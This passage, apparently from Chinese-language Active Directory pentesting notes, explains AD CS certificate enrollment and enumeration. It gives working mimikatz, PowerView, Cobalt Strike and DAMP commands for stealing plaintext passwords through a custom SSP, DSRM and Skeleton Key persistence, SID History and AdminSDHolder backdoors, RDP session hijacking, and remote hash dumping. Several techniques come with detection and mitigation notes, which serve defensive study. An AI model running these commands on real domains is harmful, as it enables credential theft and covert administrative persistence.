  4. 如果是这样,CA将使用证书模板定义的“蓝图”设置(例如,EKUs、加密设置和发行要求),并根据CSR中提供的其他信息(如果证书的模板设置允许)生成证书。 CA使用自己的私钥对证书进行签名,然后将其返回给客户端。

证书模板

AD CS将可用的证书模板作为具有pKICertificateTemplate对象类的AD对象存储在以下容器中:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>

AD证书模板对象的属性定义了其设置,其安全描述符控制谁可以注册证书或编辑证书模板。

AD证书模板对象上的pKIExtendedKeyUsage属性包含在模板中启用的OID数组。这些扩展密钥用途(EKU)OIDs影响证书的使用方式。你可以在这里找到可能的OID列表。

https://www.pkisolutions.com/object-identifiers-oid-in-pki/

证书注册

管理员需要创建证书模板,然后企业CA将该模板“发布”,使其可供客户端注册。AD CS规定,在企业CA上启用证书模板是通过将模板名称添加到AD对象的certificatetemplates字段来实现的。

AD CS使用两个安全描述符定义注册权限-哪些主体可以请求证书:一个在证书模板AD对象上,另一个在企业CA本身上。 客户端需要在这两个安全描述符中都被授权,才能够请求证书。

证书模板注册权限

  1. ACE授予主体证书注册扩展权限(the Certificate-Enrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS45访问权限,其中ObjectType设置为0e10c968-78fb-11d2-90d4-00c04f79dc5547。此GUID对应证书注册扩展权限。
  2. ACE授予主体证书自动注册扩展权限(the Certificate-AutoEnrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS48访问权限,其中ObjectType设置为a05b8cc2-17bc-4802-a710-e7c15ab866a249。此GUID对应证书自动注册扩展权限。
  3. ACE授予主体所有扩展权限(all ExtendedRights)。原始ACE启用RIGHT_DS_CONTROL_ACCESS访问权限,其中ObjectType设置为00000000-0000-0000-0000-000000000000。此GUID对应所有扩展权限。
  4. ACE授予主体FullControl/GenericAll权限。原始ACE启用FullControl/GenericAll访问权限。

企业CA的注册权限

企业CA上配置的安全描述符定义了这些权限,并且可以通过在证书颁发机构MMC插件certsrv.msc中右键单击CA → 属性 → 安全来查看该描述符。

这最终会在CA服务器上的注册表项HKLMSYSTEMCurrentControlSetServicesCertSvcConfiguration<CA名称>中设置Security值。我们遇到过几个AD CS服务器,通过远程注册表将低特权用户授予对该键的远程访问权限。

低特权用户还可以使用ICertAdminD2 COM接口的GetCASecurity方法通过DCOM枚举此项。但是,正常的Windows客户端需要安装远程服务器管理工具(RSAT)才能使用它,因为COM接口及其实现它的任何COM对象默认情况下都不会存在于Windows上。

发布要求

管理批准

CA证书管理员批准导致证书模板在AD对象的msPKI-EnrollmentFlag属性上设置CT_FLAG_PEND_ALL_REQUESTS(0x2)位。这将基于该模板的所有证书请求置于挂起状态(在certsrv.msc的“挂起请求”部分可见),这需要证书管理员在颁发证书之前批准或拒绝该请求。

登记代理、授权签名和应用策略

授权签名的数量以及应用策略。前者控制着CA接受CSR所需的签名数量。后者定义了CSR签名证书必须具备的EKU OID。

这些设置的常见用途是用于登记代理。登记代理是AD CS术语,指可以代表其他用户请求证书的实体。为此,CA必须向登记代理帐户颁发包含至少证书请求代理EKU(OID 1.3.6.1.4.1.311.20.2.1)的证书。一旦颁发,登记代理就可以代表其他用户签署CSR并请求证书。只有在以下非全面条件的情况下,CA才会将登记代理作为另一个用户发出的证书(主要在默认策略模块certpdef.dll中实现):

  • Windows用户对目标证书模板具有登记权限。
  • 如果证书模板的架构版本为1,CA将要求签名证书在颁发证书之前具备证书请求代理OID。证书模板的架构版本是指其AD对象的msPKI-Template-Schema-Version属性中指定的版本。
  • 如果证书模板的架构版本为2:
  • 该模板必须设置“这个授权签名的数量”设置,并且指定数量的登记代理必须签署CSR(模板的mspkira-signature AD属性定义了此设置)。换句话说,此设置指定在CA考虑颁发证书之前,需要多少个登记代理对CSR进行签名。
  • 该模板的“应用策略”颁发限制必须设置为“证书请求代理”。

请求证书

  1. 使用Windows客户端证书登记协议(MS-WCCE),这是一组与各种AD CS功能(包括登记)交互的分布式组件对象模型(DCOM)接口。默认情况下,所有AD CS服务器都启用了DCOM服务器,并且我们经常看到客户端通过此方法请求证书。
  2. 通过ICertPassage远程协议(MS-ICPR),可以使用命名管道或TCP/IP进行远程过程调用(RPC)通信。
  3. 访问证书登记Web界面。要使用此功能,ADCS服务器需要安装证书颁发机构Web登记角色。启用后,用户可以访问运行在http:///certsrv/的托管在IIS上的ASP Web登记应用程序。 certipy req -ca 'corp-DC-CA' -username john@corp.local -password Passw0rd -web -debug
  4. 与证书登记服务(CES)进行交互。要使用此功能,服务器需要安装证书登记Web服务角色。启用后,用户可以通过https:///_CES_Kerberos/service.svc访问Web服务以请求证书。此服务与证书登记策略(CEP)服务配合使用(通过证书登记策略Web服务角色安装),客户端可以使用该服务在URL https:///ADPolicyProvider_CEP_Kerberos/service.svc 列出证书模板。在内部,证书登记和策略Web服务分别实现了MS-WSTEP和MS-XCEP(两种基于SOAP的协议)。
  5. 使用网络设备登记服务。要使用此功能,服务器需要安装网络设备登记服务角色,该服务允许客户端(即网络设备)通过简单证书登记协议(SCEP)获取证书。启用后,管理员可以从URL http:///CertSrv/mscep_admin/获取一次性密码(OTP)。然后,管理员可以将OTP提供给网络设备,设备将使用SCEP通过URL http://NDESSERVER/CertSrv/mscep/请求证书。
  6. 在Windows机器上,用户可以使用GUI请求证书,方法是启动certmgr.msc(用于用户证书)或certlm.msc(用于计算机证书),展开个人证书存储→右键点击"Certificates"→所有任务→请求新证书。
  7. 也可以使用内置的certreq.exe命令或PowerShell的Get-Certificate命令进行证书登记。

证书认证

AD(Active Directory)默认支持两种协议的证书认证:Kerberos和Secure Channel(Schannel)。

Kerberos 身份验证和 NTAuthCertificates 容器

总而言之,用户将使用其证书的私钥对TGT请求的认证器进行签名,并将此请求提交给域控制器。域控制器执行多个验证步骤,如果一切顺利,则发放一个TGT。

更详细地说: KDC(密钥分发中心)会验证用户的证书(时间、路径和吊销状态),以确保证书来自可信任的源。KDC使用CryptoAPI从用户的证书到位于域控制器上的根证书颁发机构(CA)证书之间建立一个认证路径。然后,KDC使用CryptoAPI验证预身份验证数据字段中包含的已签名认证器上的数字签名。域控制器验证签名,并使用用户证书上的公钥来证明该请求源自与该公钥对应的私钥的所有者。KDC还验证发行者是否受信任,并且是否出现在NTAUTH证书存储库中。

这里提到的“NTAUTH证书存储库”是指AD CS在以下位置安装的一个AD对象:

CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>

通过将CA证书发布到企业级NTAuth存储库,管理员表示信任该CA可以发布这些类型的证书。Windows CA会自动将其CA证书发布到此存储库。

这意味着当AD CS创建新的CA(或更新CA证书)时,它会通过将新证书添加到对象的cacertificate属性中,将新证书发布到NTAuthCertificates对象中。

在证书认证期间,DC可以验证认证证书链到由NTAuthCertificates对象定义的CA证书。NTAuthCertificates对象中的CA证书必须再次链接到根CA。这里的重要信息是,NTAuthCertificates对象是Active Directory中证书认证的信任根!

安全通道 (Schannel) 身份验证

Schannel是Windows在建立TLS/SSL连接时使用的安全支持提供程序(SSP)。Schannel支持客户端身份验证(以及许多其他功能),使远程服务器能够验证连接用户的身份。它通过PKI实现这一点,其中证书是主要凭据。

在TLS握手期间,服务器请求客户端提供用于身份验证的证书。客户端之前从服务器信任的CA获得了客户端身份验证证书,将其证书发送到服务器。然后服务器验证证书是否正确,并在一切正常的情况下授予用户访问权限。

当一个帐户使用证书对AD进行身份验证时,DC需要以某种方式将证书凭据映射到一个AD帐户。Schannel首先尝试使用Kerberos的S4U2Self功能将凭据映射到用户帐户。

如果不成功,它将尝试使用证书的SAN扩展、主题和颁发者字段的组合,或者仅根据颁发者将证书映射到用户帐户。默认情况下,在AD环境中,不支持使用Schannel直接进行AD身份验证的协议并不多。WinRM、RDP和IIS都支持使用Schannel进行客户端身份验证,但需要额外的配置,并且在某些情况下(例如WinRM),无法与Active Directory集成。

一个通常有效的协议(假设已经设置了AD CS)是LDAPS。命令Get-LdapCurrentUser演示了如何使用.NET库对LDAP进行身份验证。该命令执行一个LDAP的“Who am I?”扩展操作来显示当前正在进行身份验证的用户。

AD CS 枚举

就像对于AD的大部分内容一样,通过查询LDAP作为域身份验证但没有特权的用户,可以获取到前面提到的所有信息。

如果我们想枚举企业CA及其设置,可以在CN=Configuration,DC=<domain>,DC=<com>搜索基础上使用(objectCategory=pKIEnrollmentService) LDAP筛选器进行LDAP查询(此搜索基础对应于AD林的配置命名上下文)。结果将标识出CA服务器的DNS主机名、CA名称本身、证书的开始和结束日期、各种标志、已发布的证书模板等。

AD CS 枚举工具

Certify是一个使用C#编写的工具,可以枚举有关AD CS环境的有用配置和基础结构信息,并可以以多种不同的方式请求证书。https://github.com/GhostPack/Certify

Certipy是一个Python工具,可以从任何能够生成BloodHound输出的系统(具有对DC的访问权限)中枚举和滥用Active Directory证书服务(AD CS)。https://github.com/ly4k/Certipy

# https://github.com/GhostPack/Certify

Certify.exe cas #枚举受信任的根CA证书、NTAuthCertificates对象定义的证书以及有关企业CA的各种信息

Certify.exe find #枚举证书模板 Certify.exe find /vulnerable #枚举可修复证书模板

# https://github.com/ly4k/Certipy

certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 certipy find -vulnerable [-hide-admins] -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 #搜索易受攻击的模板 certutil.exe -TCAInfo #枚举企业CA certutil -v -dstemplate #枚举证书模板

Custom SSP

https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs#security-support-provider-interface-sspi

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/custom-ssp

https://blog.csdn.net/weixin_42282189/article/details/120103661

https://blog.csdn.net/qq_41617902/article/details/128742631

SSP即Security Support Provider(安全支持提供者)是一个用于实现身份验证的DLL文件,主要用于Windows操作系统的身份认证功能。

当操作系统启动时SSP会被加载到lsass.exe进程中,由于lsass可通过注册表进行扩展,导致了在操作系统启动时,可以加载一个自定义的dll,来实现想要执行的操作。

当我们在域环境内对LSA进行拓展自定义DLL文件时,就能够获取到lsass.exe进程中的明文密码,即使修改密码重新登陆,我们依旧可以获得密码,达到域权限维持的效果。

SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。

SSPI负责找到两台想要通信的计算机所需的适当协议。首选方法是Kerberos。然后SSPI将协商使用哪种认证协议,这些认证协议被称为安全支持提供程序(Security Support Provider,SSP),以DLL的形式存在于每台Windows计算机中,双方计算机必须支持相同的SSP才能进行通信。

Kerberos :首选

  • %windir%WindowsSystem32kerberos.dll

NTLMv1和NTLMv2 :兼容性原因

  • %windir%WindowsSystem32msv1_0.dll

摘要:Web 服务器和 LDAP,MD5 哈希形式的密码

  • %windir%WindowsSystem32Wdigest.dll

Schannel :SSL 和 TLS

  • %windir%WindowsSystem32Schannel.dll

Negotiate :用于协商要使用的协议(Kerberos 或 NTLM 是 Kerberos 的默认协议)

  • %windir%WindowsSystem32lsasrv.dll

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作,获取目标lsass.exe进程中的明文密码。

攻击方式
注入LSASS进程

通过往lsass进程注入代码来加载msv1_0.dll中的SpAcceptCredentials函数,该攻击不会在系统中留下二进制文件。但如果机器重启,被注入的代码就会失效。该攻击会在系统登录过程中将获取的明文密码存储在日志文件中。(需要注销,但是不能重启)

C:WindowsSystem32mimilsa.log mimikatz.exe "privilege::debug" "misc::memssp" exit

//注意,很有可能会导致目标主机直接死机重启,例如Windows server 2016

然后注销账户重新登录,在C:WindowsSystem32 查看是否有mimilsa.log文件。

使用工具PCHunter查看lsass进程。

修改注册表扩展功能

将mimikatz中的 mimilib.dll 传到目标域控的C:windowssystem32目录下,使用dll的位数与目标操作系统保持一致。该dll有个SpLsaModeInitialize导出函数,lsass会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据,以便SSP缓存,mimikatz利用AddSecurityPackage这个API来加载SSP,这样可以在不重启的情况下添加Mimilib。当添加成功后,我们发现每次进行身份认证时,凭据信息都会被写入kiwissp.log文件中。(需要重启,并且重启之后仍有效)

默认情况下,HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsaSecurity Packages该注册表项默认值为“”。

将mimilib.dll复制到域控C:windowssystem32(放入该路径下是为了直接加载,而不用指定dll文件的路径)。

在注册表:HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsaSecurity Packages下添加mimilib.dll之后只要触发了身份认证就会记录登录密码。

修改注册表,在键值Security Packages下添加 mimilib.dll,系统重启后会记录登陆密码。

//查看注册表Security Packages的值。

reg query HKLMSystemCurrentControlSetControlLsa /v "Security Packages"

//添加注册表Security Packages的值,只添加mimilib.dll也可以,每一个字符串使用 进行分隔。

reg add "HKLMSystemCurrentControlSetControlLsa" /v "Security Packages" /d "kerberosmsv1_0schannelwdigesttspkgpku2umimilib.dll" /t REG_MULTI_SZ

域控重启之后,在C:WindowsSystem32路径下存在一个新的日志文件,Kiwissp.log,其中保存着明文密码。

痕迹特征

Windows Event 4622[需开启收集日志才会有]。 文件创建:mimilsa.log、kiwissp.log。 注册表修改:HKLMSystemCurrentControlSetControlLsaSecurity Packages。

mimilib.dll文件也存在特征。

DSRM凭据

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

当我们已经拿下域控,使用DSRM凭据进行权限维持。DSRM就是域控机器的本地administrator账户。(域控机器的本地administrator账户是不能通过net user administrator password命令进行密码修改的,正常情况也是无法进行登录)

使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

privilege::debug token::elevate lsadump::sam

修改DSRM的登录方式

DSRM有三种登录方式,具体如下:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。

New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

privilege::Debug sekurlsa::pth /domain:AD-1-2016 /user:administrator /ntlm:1a44db2e8b368a053202da00bc30cdba

或者我们可以直接将DSRM账户的HASH修改成我们已经获取到明文的HASH值,这样就可以进行明文登录。

adminw 0ec4b410903c6dc7594464f27d347497 //User!@#45

将DSRM账号和adminw的NTLM Hash同步(为DSRM设置新密码),使用工具NTDSUTIL。

ntdsutil //打开ntdsutil set DSRM password //修改DSRM的密码 sync from domain account adminw //使DSRM的密码和指定域用户的密码同步 q //退出DSRM密码设置模式 q //退出ntdsutil

发现已经成功修改HASH

修改后可以直接在域控机器登录本地administrator账户。

该账户权限与域控机器账户权限类似,可以直接使用DCSync功能导出域内HASH。

防御方法
  1. 定期检查注册表中用于控制DSRM登录方式的键值 HKLMSystemCurrentControlSetControlLsaDsrmAdminLogonBehavior,确认该值为1,或者删除该键值。
  2. 定期修改域中所有域控制器的DSRM账号。
  3. 经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。
万能密码

Skeleton Key 是一种专门针对 Active Directory 域的恶意软件,它使得劫持任何账户变得异常容易。该恶意软件将自身注入到 LSASS 进程中,并创建了一个适用于域中任意账户的主密码。现有的密码仍然有效,因此很难察觉到这种攻击的发生。

攻击要求

  1. 为了进行这种攻击,攻击者必须具有域管理员权限(使用DSRM中的域控本地Administrator账户也可以)。
  2. 为了完全控制,这种攻击必须在每个域控制器上执行,但即使只针对单个域控制器进行攻击也可能有效(需要在域内所有域控上执行)。
  3. 重新启动域控制器将会移除该恶意软件,并且攻击者需要重新部署它(域控重启后则无效)。

使用mimikatz在域控上执行即可,之后可以使用默认密码mimikatz作为任何用户进行认证。

privilege::debug misc::skeleton

这时我们在成员机进行连接。

注意:如果您看到“系统错误 86 已发生。指定的网络密码不正确”消息,请尝试使用域名账户格式作为用户名,这样应该就可以正常工作了。

如果 lsass 已经打了skeletal 补丁,那么会出现这个错误:

痕迹事件:

  • 系统事件 ID 7045 - 系统中安装了一个服务。(内核模式驱动程序类型)
  • 安全事件 ID 4673 - 敏感权限使用(必须启用“审核特权使用”)
  • 事件 ID 4611 - 一个受信任的登录过程已经在本地安全性机构注册(必须启用“审核特权使用”)

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "Kernel Mode Driver"}

这只能检测到mimidrv

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{.message -like "Kernel Mode Driver" -and

缓解措施:

将 lsass.exe 作为受保护的进程运行,这将强制攻击者加载一个内核模式驱动程序。

New-ItemProperty HKLM:SYSTEMCurrentControlSetControlLsa -Name RunAsPPL -Value 1 -Verbose

重新启动后验证:

Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "protected process"}

SID History

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。在Windows操作系统中,系统使用安全标识符来唯一标识系统中执行各种动作的实体,每个用户有SID,计算机、用户组和服务同样也有SID,并且这些SID互不相同,这样才能保证所标识实体的唯一性。

SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限(或者是修改用户SIDHistory属性的权限),则可以将SID History作为实现持久化的方法。

privilege::debug

//https://blog.csdn.net/HBohan/article/details/119805869

sid::patch

//将administrator的SID添加到man06的SID History属性中,或者直接后接SID

sid::add /sam:man06 /new:administrator

注意:使用sid::patch需要有两个要求:

  1. 对域控LDAP修改过程中的验证函数进行patch,需要在域控上执行
  2. patch共分为两个步骤,如果仅第一步patch成功的话,那么可以使用sid::add功能,两步都patch成功的话才可以使用sid::modify功能。
  3. 详细可以查看https://blog.csdn.net/HBohan/article/details/119805869。

在一些情况下,只要具有修改SID History属性的权限,并不需要sid::patch就可以直接更改用户的SID History属性。

privilege::debug //或者/new:<Administrator SID> sid::add /sam:man06 /new:administrator

这里我们直接登录成员机的本地管理员用户

使用PTH获得域管理员权限。

sekurlsa::pth /user:adminw /domain:ww1.com /ntlm:0ec4b410903c6dc7594464f27d347497

由于不是域控,发现sid::patch命令运行报错。

这里我们获取到域控的SID,直接修改man06的SID History属性。

sid::add /sam:man06 /new:S-1-5-21-2672614020-1166804175-548711290-500

发现成功添加。

Import-Module activedirectory Get-ADUser man06 -Properties sidhistory //使用powershell查看man06的属性

登录man06账户查看是否具有权限。

发现成功提权,可以用于权限维持或者隐藏。

跨域安全

https://zhuanlan.zhihu.com/p/424472286

https://blog.csdn.net/hx_chong/article/details/119809022

RDP Sessions Abuse

如果外部组对当前域中的任何计算机具有RDP访问权限,攻击者可以入侵该计算机并等待用户。 一旦该用户通过RDP访问,攻击者就可以转移到该用户的会话,并滥用其在外部域中的权限。

//假设组“外部用户”在当前域中具有RDP访问权限

//让我们找出他们可以访问的位置

//最简单的方法是使用BloodHound,但你也可以运行:

Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName

//或者

Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

//然后,入侵列出的机器,并等待外部域的某个人登录:

net logons Logged on users at \localhost: EXTsuper.admin

//通过Cobalt Strike,你可以在RDP进程中注入一个信标(beacon)。

beacon> ps PID PPID Name Arch Session User --- ---- ---- ---- ------- ----- ... 4960 1012 rdpclip.exe x64 3 EXTsuper.admin beacon> inject 4960 x64 tcp-local

//通过那个信标,你可以直接运行 Powerview 模块,并以该用户的身份与外部域进行交互。

如果用户通过RDP登录到一台被攻击者等待的计算机上,攻击者将能够在用户的RDP会话中注入一个信标(beacon),如果受害者在通过RDP访问时挂载了他的驱动器,攻击者就可以访问它。

在这种情况下,你可以通过在启动文件夹中写入后门来入侵受害者的原始计算机。

# Wait til someone logs in: net logons Logged on users at \localhost: EXTsuper.admin # With cobalt strike you could just inject a beacon inside of the RDP process beacon> ps PID PPID Name Arch Session User --- ---- ---- ---- ------- ----- ... 4960 1012 rdpclip.exe x64 3 EXTsuper.admin beacon> inject 4960 x64 tcp-local # There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP. ## \tsclientc is the C: drive on the origin machine of the RDP session beacon> ls \tsclientc Size Type Last Modified Name ---- ---- ------------- ---- dir 02/10/2021 04:11:30 $Recycle.Bin dir 02/10/2021 03:23:44 Boot dir 02/20/2021 10:15:23 Config.Msi dir 10/18/2016 01:59:39 Documents and Settings [...] # Upload backdoor to startup folder beacon> cd \tsclientcUsers<username>AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup beacon> upload C:Payloadspivot.exe

还有很多与RDP相关的利用,可以参考:

https://www.freebuf.com/articles/network/276242.html

还可以进行RDP劫持:

https://blog.csdn.net/qq_32731075/article/details/119011394

安全描述符

安全描述符包含与安全对象关联的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 结构及其关联的安全信息组成。 安全描述符可以包含以下安全信息:

  • 对象的 所有者和主组的安全标识符 (SID) 。
  • 一个 DACL ,指定允许或拒绝的特定用户或组的访问权限。
  • 一个 SACL,指定为对象生成审核记录的访问尝试的类型。
  • 一组控制位,用于限定安全描述符或其单个成员的含义。

应用程序不得直接操作安全描述符的内容。 Windows API 提供用于在对象的安全描述符中设置和检索安全信息的函数。 此外,还有用于为新对象创建和初始化安全描述符的函数。

安全描述符定义语言(SDDL)定义了描述安全描述符的格式。SDDL使用ACE字符串来表示DACL和SACL的:

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;

安全描述符用于存储对象对另一个对象的权限。如果你可以对一个对象的安全描述符进行微小的更改,你可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。 因此,这种持久性技术基于能够获得对某些对象所需的每个权限的能力,以便能够执行通常需要管理员权限但无需管理员身份的任务。

WMI 权限

使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行 WMI 的权限:

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'rootcimv2' -Verbose Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'rootcimv2' -Remove -Verbose #Remove

WinRM权限

使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行WinRM 的权限:

Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove

转储哈希权限

使用工具DAMP访问注册表并转储哈希(hash),创建一个注册表后门,这样你可以随时检索计算机的哈希,SAM和计算机中缓存的任何AD凭据。因此,将这个权限赋予普通用户对于域控制器计算机非常有用:

https://github.com/HarmJ0y/DAMP

//允许远程检索系统的计算机和本地帐户哈希,以及其域中缓存的凭据。

Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地机器帐户哈希。

Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地SAM帐户哈希。

Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的域缓存凭据。

Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose

特权组

已知具有管理权限的组

  • Administrators
  • Domain Admins
  • Enterprise Admins

在安全评估中,还可以通过链接多个攻击向量来利用其他帐户成员资格和访问令牌权限。

Account Operators

账号操作员组,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器,但是,不能更改属于 Administrators 或 Domain Admins 组的账户,也不能修改这些组。在默认情况下,该组中没有成员。

  • 允许在域上创建非管理员帐户和组
  • 允许本地登录DC

powershell -exec bypass Import-Module .PowerView.ps1 Get-NetGroupMember -Identity "Account Operators" -Recurse

直接查看该用户信息

net user man06 /domain

允许在域上创建非管理员帐户和组

允许本地登录DC

AdminSDHolder group

AdminSDHolder对象的访问控制列表(ACL)用作将权限复制到Active Directory中的所有“受保护组”及其成员的模板。受保护组包括特权组,如域管理员、管理员、企业管理员和架构管理员。

默认情况下,此组的ACL被复制到所有“受保护组”中。这样做是为了避免对这些关键组进行有意或意外的更改。然而,如果攻击者修改了AdminSDHolder组的ACL,例如给定一个普通用户完全权限,该用户将在受保护组内的所有组上具有完全权限(在60分钟后)。

AdminSDHolder对象的目的是为域内受保护的用户和组提供权限的“模板”,其在LDAP上的路径为:

CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>

AdminSDHolder由Domain Admins组拥有,默认情况下,EA可以对任何域的AdminSDHolder对象进行更改,域的Domain Admins和Administrators组也可以进行更改。

尽管AdminSDHolder的默认所有者是域的Domain Admins组,但是Administrators或Enterprise Admins的成员可以获取该对象的所有权。

SDProp

SDProp是一个进程,该进程每60分钟(默认情况下)在包含域的PDC模拟器(PDCE)的域控制器上运行

SDProp将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较。如果任何受保护帐户和组的权限与AdminSDHolder对象的权限不匹配,则将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,这也是为什么修改了用户对AdminSDHolder组的ACL后,还需要等待60分钟的原因。

利用

既然默认每60分钟SDProp会将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,那么我们完全可以对AdminSDHolder添加ACL来留后门。

  1. 添加ACL

**使用****PowerView工具**

powershell -exec bypass Import-Module .PowerView.ps1 Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=ww1,DC=com' -PrincipalIdentity man08 -Rights All

使用Admod工具

Admod.exe -b "CN=AdminSDHolder,CN=System,DC=ww1,DC=com" "SD##ntsecuritydescriptor::{GETSD}{ D=(A;;GA;;;ww1man08)}"

修改了AdminSDHolder组的ACL之后,我们发现man08用户还是不具备高权限的。

因为SDProp还没有将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较并修改。这里我们可以选择等待60分钟,或者直接修改执行间隔或者直接执行进行权限提升操作。

  1. 快速的执行SDProp

修改默认时间

如果需要修改60min的执行时间间隔,只需要在注册表中添加或修改AdminSDProtectFrequency的值。

HKLMSYSTEMCurrentControlSetServicesNTDSParameters

该值的范围是从60到7200,单位为秒,键类型为DWORD。

可以直接使用命令行更改:

reg add hklmSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

如果需要恢复为默认的60min,则可以在注册表中删除AdminSDProtectFrequency这一项。

也可以使用一个PowerShell脚本。

https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

手动执行

启动Ldp.exe,然后选择菜单栏中“连接”-> “连接”。

选择菜单栏菜单栏中“连接”->”绑定“。

选择菜单栏菜单栏中“浏览”->“修改”。

在修改窗口这里针对不同版本的域控制器有不同的情况:

  • 域控为Windows Server 2008: 将“DN”字段留空。在“编辑条目属性”字段中,输入FixUpInheritance,在“值”字段中,输入Yes。单击输入填充条目列表。
  • 域控为Windows Server 2008 R2或Windows Server 2012之后的版本: 将“DN”字段留空。在“编辑条目属性”字段中,输入RunProtectAdminGroupsTask,在“值”字段中,输入1。单击输入填充条目列表。

点击“输入”->”运行“。

运行成功后,发现已经拥有了高权限。

  1. 防御与检测

该攻击手法的核心点在于需要修改AdminSDHolder的ACL,因此我们只需要检测对AdminSDHolder的ACL的修改行为即可,可以通过5136日志来监控。

AD Recycle Bin

//这不是powerview命令,而是Microsoft的AD管理powershell模块中的一项功能,您需要在AD的“AD回收站”组中才能列出已删除的AD对象

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

在Windows 2008或Windows 2003中,你必须用备份恢复的方法才能恢复一个被误删的AD对象。这个方法非常麻烦。现在,Windows 2008 R2引入一个新的功能:AD Recycle Bin。就如同普通的回收站一样,这个工具暂时保留了被删除对象,你可以随时从回收站中取回。

需要注意的几点注意事项:

  1. 这是Windows 2008 R2才有的新功能。
  2. 这个功能默认是关闭的;必须手动启动。
  3. 启用AD回收站的这个操作不可逆转(irrersible),也就是说,Enable之后不能Disable。只能通过Restore AD环境来恢复。
  4. 要启用,AD必须升级到2008 R2 level (升级AD level必须在企业管理员权限下用adprep命令)。
  5. 启用时,所有启用前被删除的AD对象都会被转换成recyled对象,在deleted objects容器中将不能找到它们。要恢复这些对象,唯一的方法就是通过AD备份的恢复,将AD环境恢复到启用之前。
  6. 启用后,删除的AD对象变成了一个Deleted对象,Delete对象可以恢复。一段时间后,Delete对象的生命周期结束,就会转变成Recycled对象,这些对象不再能被恢复。最终通过Garbage收集的方法被删除掉。

启用AD Recycle Bin的方法,参见文档

